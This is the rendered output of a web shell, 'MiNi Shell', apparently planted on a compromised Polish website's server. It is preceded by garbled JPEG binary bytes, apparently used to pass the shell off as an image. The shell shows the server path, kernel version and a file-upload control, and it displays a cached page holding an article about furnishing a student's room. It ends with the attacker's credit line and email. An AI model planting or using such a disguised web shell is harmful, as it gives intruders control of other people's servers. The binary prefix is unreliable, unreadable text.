JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/6c/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/6c/6c3f0476d0d98a8c2d99b06c16618d2c.bin

a:2:{i:0;a:2:{i:0;s:11067:" 
                    
                    <h3 class="title" itemprop="headline">Pomysł na pokój ucznia – zobacz propozycje MIKOŁAJSKAstudio</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 13-08-2020, 15:45</strong>
                        <meta itemprop="dateModified" content=" 13-08-2020, 15:45"/>
                        <div class="hide" itemprop="description">Co do zasady, aby dobrze pełnić swoją funkcję pokój ucznia powinien uwzględniać trzy strefy: nauki, zabawy oraz odpoczynku. Wydaje się proste? Nic bardziej mylnego. Doświadczenie architektów wnętrz pokazuje, że klucz do sukcesu tkwi przede wszystkim w indywidualnym podejściu do projektu. Zobaczcie pomysły pracowni MIKOŁAJSKAstudio na niebanalny pokój ucznia.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="budowa.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.budowa.org/images/loga/budowa.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/64670/crop/800x600/aq1-443363001597326413.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.budowa.org/artykuly/szczegoly/64670"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><strong><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/64670/aq1.webp" alt="Pomysł na pokój ucznia – zobacz propozycje MIKOŁAJSKAstudio" width="728" height="546" loading="lazy" /></strong></p><p><strong>Co do zasady, aby dobrze pełnić swoją funkcję pokój ucznia powinien uwzględniać trzy strefy: nauki, zabawy oraz odpoczynku. Wydaje się proste? Nic bardziej mylnego. Doświadczenie architektów wnętrz pokazuje, że klucz do sukcesu tkwi przede wszystkim w indywidualnym podejściu do projektu. Zobaczcie pomysły pracowni MIKOŁAJSKAstudio na niebanalny pokój ucznia.</strong></p><p>Nie tylko nastolatki, ale również sześcio- czy siedmioletnie dzieci bardzo często mają już określone zainteresowania i wizję własnego pokoju. Urządzając wnętrze, powinniśmy mieć na uwadze ich potrzeby i oczekiwania, a ponadto także funkcjonalność i ergonomię przestrzeni.</p><h3>Do nauki...</h3><p>Chociaż miejsce do nauki nie jest zazwyczaj priorytetem w oczach dziecka, to bardzo ważna część pokoju ucznia. Wybierając biurko i krzesło lub fotel powinniśmy kierować się przede wszystkim ergonomią i wygodą. Warto zwrócić uwagę na możliwość regulacji wysokości blatu oraz siedziska i oparcia fotela, tak aby móc dopasowywać je do wzrostu dziecka. Solidne i wygodne meble, wykonane z myślą o potrzebach uczniów, pomogą w nauce i zachowaniu zdrowej postawy.</p><blockquote>
<p>- Biurko najlepiej ustawić przy oknie, zapewniając w ten sposób dostęp dziennego światła. Jego ilość powinniśmy móc regulować poprzez system rolet lub żaluzji. Dobrym pomysłem może być zastąpienie tradycyjnego mebla wykonanym na wymiar blatem, który umieścimy pod oknem. Pamiętajmy też o miejscu na podręczniki, książki i pomoce szkolne. Najlepiej umieścić kilka półek lub szafek w pobliżu miejsca do pracy, tak aby dziecko mogło wygodnie sięgać po niezbędne przybory bez konieczności wstawania od biurka – radzi arch. Ida Mikołajska, współwłaścicielka pracowni MIKOŁAJSKAstudio z Krakowa.</p>
</blockquote><p>Niezbędnym elementem wyposażenia miejsca do nauki – obok biurka i krzesła – jest też lampa. Niezależnie od tego, czy zdecydujemy się na model stojący bezpośrednio na biurku, na podłodze czy też montowany na ścianie, powinniśmy mieć możliwość regulacji kąta padania światła. Światło lampy powinno oświetlać blat biurka i kluczowe elementy miejsca pracy, tworząc przyjemną perspektywę i nie atakując oczu. Dobierając żarówki pamiętajmy, że koncentracji lepiej sprzyja światło o chłodnej barwie (około 4000 K), które nie nadwyręża zanadto wzroku.</p><h3>… zabawy</h3><p>Pokoje dzieci i nastolatków zazwyczaj nie są zbyt duże. Powinno jednak znaleźć się w nich miejsce na relaks i spotkania z przyjaciółmi. Jak to zrobić? Dobrym rozwiązaniem do małego metrażu będzie łóżko na antresoli, pod którą urządzimy kącik zabaw. Młodszym dzieciom wystarczy zostawić tam wolną przestrzeń, aby mogły swobodnie bawić się lalkami, samochodami albo tworzyć budowle z klocków. Nastolatki ucieszą się z ustawionej pod antresolą kanapy, na której będą mogły przesiadywać czytając książki, słuchając muzyki lub dzieląc się najświeższymi informacjami ze znajomymi w sieci. Kanapa przyda się też jako dodatkowe miejsce do spania, jeśli nastolatki wolą plotkować „w realu”.</p><blockquote>
<p>- Zadbajmy o to, by zainteresowania dziecka znalazły wyraz w jego pokoju. Świetną dekoracją przestrzeni małego podróżnika może być korkowa mapa kuli ziemskiej, na której będzie mógł przypinać zdjęcia i pamiątki z wypraw. Ciekawym rozwiązaniem będzie też mini-ścianka wspinaczkowa, wykończona tym samym drewnem co podłoga w dziecięcym pokoju – mówi Ida Mikołajska.</p>
</blockquote><p>A co w sytuacji, gdy nasza pociecha nie ma jeszcze wykrystalizowanych upodobań, a jej zainteresowania zmieniają się w zależności od panującej wśród rówieśników mody? Wtedy najlepiej postawić na ponadczasowe rozwiązania, np. pokój w bieli i szarościach, przełamanych elementami drewna i dekoracjami zgodnymi z tym, co akurat jest na topie. - Jeśli dziecko chce mieć w pokoju motywy swoich ulubionych idoli, powinniśmy mu na to pozwolić, wieszając na ścianie np. kilka ramek. Wówczas będzie mogło dowolnie wymieniać plakaty. Pozwoli to w szybki, łatwy i niedrogi sposób uniknąć monotonii oraz nudy – radzi architekt.</p><h3>… i odpoczynku</h3><p>Obowiązki szkolne, zajęcia pozalekcyjne, spotkania i zabawy z przyjaciółmi – nasze dzieci, tak samo jak my potrzebują wypoczynku po całym dniu. Dlatego warto zainwestować w solidny, wygodny materac, który zadba o kręgosłup i komfortowy sen. Warto też zorganizować przestrzeń wokół łóżka tak, aby dziecko mogło się wyciszyć w ulubiony przez siebie sposób. Molom książkowym przyda się dodatkowa lampka i półki, a wielbicielom muzyki niewielkie radio z budzikiem.</p><blockquote>
<p>- Młodsze dzieci trudno odzwyczaić od zasypiania w towarzystwie ulubionych pluszaków. Możemy jednak zadbać o to, by zabawki także miały swoje miejsce, np. tworząc dla nich w zabudowie łóżka przytulne półeczki-dziuple – mówi Ida Mikołajska.</p>
</blockquote><h3>Miejsce na wszystko</h3><p>Niezależnie od tego, czy nasz uczeń ma kilka czy kilkanaście lat, w jego pokoju nie może także zabraknąć schowków i szaf, które pomogą w utrzymaniu porządku.</p><blockquote>
<p>- Wykonana na wymiar zabudowa pozwoli wykorzystać każdy centymetr dostępnej przestrzeni – również pod oknem, przy łóżku itp. Przydadzą się też wszelkiego typu skrzynie, organizery czy pudełka. Będą nie tylko ciekawym elementem dekoracyjnym, ale także dobrym sposobem na poskromienie twórczego rozgardiaszu naszych uczniów – podsumowuje Ida Mikołajska.</p>
</blockquote>
                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=pokój+ucznia" class="label label-default">pokój ucznia</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=aranżacja+wnętrza" class="label label-default">aranżacja wnętrza</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=aranżacja+pokoju" class="label label-default">aranżacja pokoju</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=MIKOŁAJSKAstudio" class="label label-default">MIKOŁAJSKAstudio</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.budowa.org/artykuly/szczegoly/64670_pomysl-na-pokoj-ucznia-zobacz-propozycje-mikolajskastudio" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_64670";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"90baa472451f5cc3cc06e887dc9bc0a8";s:21:"0.50351600 1747725771";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com